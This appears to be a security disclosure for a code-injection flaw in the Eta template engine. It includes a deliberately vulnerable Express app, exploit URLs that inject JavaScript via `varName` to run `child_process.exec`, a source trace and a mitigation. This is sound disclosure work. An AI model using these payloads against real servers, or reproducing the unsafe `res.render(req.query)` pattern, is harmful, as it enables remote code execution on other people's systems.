# Eta Remote Code Execution Eta may allow an attacker to execute arbitrary javascript code if an attacker could control `config.useWith` and `config.varName` ## Proof of Concept Here is a vulnerable example with three files: `package.json` `app.js` `views/template.eta` ### package.json we use the newest version of eta ```json { "dependencies": { "eta": "^1.14.2", "express": "^4.18.2" } } ``` ### app.js ```javascript= var express = require("express") var app = express() var eta = require("eta") app.engine("eta", eta.renderFile) app.set("view engine", "eta") app.set("views", "./views") app.get("/", function (req, res) { // https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/ res.render("template", req.query ) }) app.get("/pp", function (req, res) { // assume that the app has prototype pollution vulnerability // so the attacker could control the following let sth_that_has_prototype_poisoning = {} sth_that_has_prototype_poisoning.__proto__.useWith = '1' sth_that_has_prototype_poisoning.__proto__.varName = 'it=console.log(123)' res.render("template") }) app.listen(8000, function () { console.log("listening to requests on port 8000") }) ``` ### views/template.eta ```html My favorite template engine is <%= it.favorite %> ``` ### Exploit visit the URL below will lead to the execution of the javascript code `console.log(41414141)` on the node.js backend without triggering any error ``` http://localhost:8000/?useWith=1&varName=it=console.log(41414141) ``` we could also execute OS command `touch /tmp/hacked` with ``` http://localhost:8000/?useWith=1&varName=it=process.mainModule.constructor._load('child_process').exec('touch /tmp/hacked') ``` if the app has prototype pollution vulnerability we could achieve the same thing ``` http://localhost:8000/pp ``` ## Detail This section will point out the location of the vulnerability ### compileToString https://github.com/eta-dev/eta/blob/811b6be5ac185b4c0a3f9810c5532c97b592b0ab/src/compile-string.ts#L21-L53 in `/src/compile-string.ts:29` `config.varName` will be concatenated to `res` if `config.useWith` is a truthy value `res` will be used as a function body in `/src/compile.ts:43` and will be called at either `/src/render.ts:141` (sync) or `/src/render.ts:160` (async) the resulting function body in our first payload will be the following which will execute `console.log(41414141)` on line 3 ```javascript= var tR='',__l,__lP,include=E.include.bind(E),includeFile=E.includeFile.bind(E) function layout(p,d){__l=p;__lP=d} with(it=console.log(41414141)||{}){tR+='<h1>My favorite template engine is ' tR+=E.e(it.favorite) tR+=' <br></h1>\n<a href=\'app.js\'>source</a>\n' if(__l)tR=includeFile(__l,Object.assign(it=console.log(41414141),{body:tR},__lP)) if(cb){cb(null,tR)} return tR} ``` <!-- https://github.com/eta-dev/eta/blob/811b6be5ac185b4c0a3f9810c5532c97b592b0ab/src/compile.ts#L43 --> ## Mitigation sanitize `config.varName` before concatenating it to `res` `config.varName` should only be a [valid variable name](https://mathiasbynens.be/notes/javascript-identifiers) a similar vulnerability in `Pug` was fixed by adding a regex test to the `option` https://github.com/pugjs/pug/pull/3314/commits/74dc454133b293debd6198ac14fdaebeee5de728#L60 <!-- https://github.blog/2017-08-15-introducing-embedded-code-snippets/ --> ## Reference <!-- https://github.com/CykuTW/My-CTF-Challenges/tree/master/AIS3-EOF-CTF-2020-Final/echo2/echo2 --> https://nvd.nist.gov/vuln/detail/CVE-2021-21353 https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/ https://tc39.es/ecma262/multipage/fundamental-objects.html#sec-function-objects https://eta.js.org/docs/examples/express https://eta.js.org/docs/api/configuration https://eta.js.org/docs/learn/configuration